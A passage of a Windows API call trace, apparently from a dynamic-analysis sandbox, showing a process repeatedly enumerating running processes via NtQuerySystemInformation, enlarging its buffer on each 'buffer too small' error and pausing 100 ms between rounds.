	[0072.776] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.777] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0072.777] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.777] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0072.777] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.777] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0072.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.778] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0072.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.778] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0072.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.779] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0072.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.779] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0072.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.780] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0072.780] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.780] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0072.780] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.781] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0072.781] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.781] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0072.782] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.782] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0072.782] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.782] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0072.783] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.783] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0072.783] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.783] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0072.783] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.784] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0072.784] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.784] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0072.784] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0072.787] Sleep (dwMilliseconds=0x64) 
	[0072.980] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2882180, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x2882180, ResultLength=0x0) returned 0xc0000004
	[0072.981] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2882180, Size=0x2048) returned 0x28cb2d0
	[0072.981] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28cb2d0, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28cb2d0, ResultLength=0x0) returned 0xc0000004
	[0072.981] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28cb2d0, Size=0x306c) returned 0x2894bd8
	[0072.982] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0072.982] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0072.982] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0072.982] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0072.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.983] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0072.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.983] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0072.983] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.984] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0072.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.984] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0072.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.984] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0072.984] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.986] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0072.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.986] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0072.986] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.987] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0072.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.987] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0072.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.987] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0072.987] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.988] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0072.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.988] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0072.988] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.989] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0072.989] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0072.989] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0072.991] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.991] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0072.991] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.992] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0072.992] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.992] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0072.992] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.992] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0072.992] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.993] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0072.993] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.993] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0072.993] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.994] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0072.994] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.994] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0072.994] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.995] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0072.995] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.995] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0072.995] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.996] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0072.996] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.996] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0072.996] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.996] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0072.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.997] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0072.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.997] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0072.997] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.998] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
	[0072.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0072.998] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x24510) returned 0x28de680
	[0072.998] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0x0
	[0073.004] Sleep (dwMilliseconds=0x64) 
	[0073.371] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28865a0, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x28865a0, ResultLength=0x0) returned 0xc0000004
	[0073.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28865a0, Size=0x2048) returned 0x28c90c8
	[0073.372] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28c90c8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x28c90c8, ResultLength=0x0) returned 0xc0000004
	[0073.372] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28c90c8, Size=0x306c) returned 0x2894bd8
	[0073.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0073.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x4090) returned 0x2894bd8
	[0073.373] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2894bd8, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x2894bd8, ResultLength=0x0) returned 0xc0000004
	[0073.373] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x2894bd8, Size=0x50b4) returned 0x28a62f0
	[0073.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x60d8) returned 0x28a62f0
	[0073.374] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.374] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x70fc) returned 0x28a62f0
	[0073.375] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x8120) returned 0x28a62f0
	[0073.375] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.375] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x9144) returned 0x28a62f0
	[0073.375] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xa168) returned 0x28a62f0
	[0073.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xb18c) returned 0x28a62f0
	[0073.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.376] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xc1b0) returned 0x28a62f0
	[0073.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xd1d4) returned 0x28a62f0
	[0073.377] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xe1f8) returned 0x28a62f0
	[0073.377] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.377] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0xf21c) returned 0x28a62f0
	[0073.378] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.378] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x10240) returned 0x28a62f0
	[0073.378] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.378] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x11264) returned 0x28a62f0
	[0073.378] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.379] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x12288) returned 0x28a62f0
	[0073.379] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28a62f0, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x28a62f0, ResultLength=0x0) returned 0xc0000004
	[0073.379] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28a62f0, Size=0x132ac) returned 0x28de680
	[0073.381] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.381] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x142d0) returned 0x28de680
	[0073.382] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.382] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x152f4) returned 0x28de680
	[0073.382] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.382] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x16318) returned 0x28de680
	[0073.382] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.383] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1733c) returned 0x28de680
	[0073.383] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.383] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x18360) returned 0x28de680
	[0073.383] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.384] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x19384) returned 0x28de680
	[0073.384] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.384] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1a3a8) returned 0x28de680
	[0073.384] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.385] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1b3cc) returned 0x28de680
	[0073.385] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.385] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1c3f0) returned 0x28de680
	[0073.385] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.386] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1d414) returned 0x28de680
	[0073.386] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.386] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1e438) returned 0x28de680
	[0073.386] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.387] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x1f45c) returned 0x28de680
	[0073.387] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.387] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x20480) returned 0x28de680
	[0073.387] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.388] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x214a4) returned 0x28de680
	[0073.388] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.388] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x224c8) returned 0x28de680
	[0073.388] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x28de680, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x28de680, ResultLength=0x0) returned 0xc0000004
	[0073.389] RtlReAllocateHeap (Heap=0x2850000, Flags=0x8, Ptr=0x28de680, Size=0x234ec) returned 0x28de680
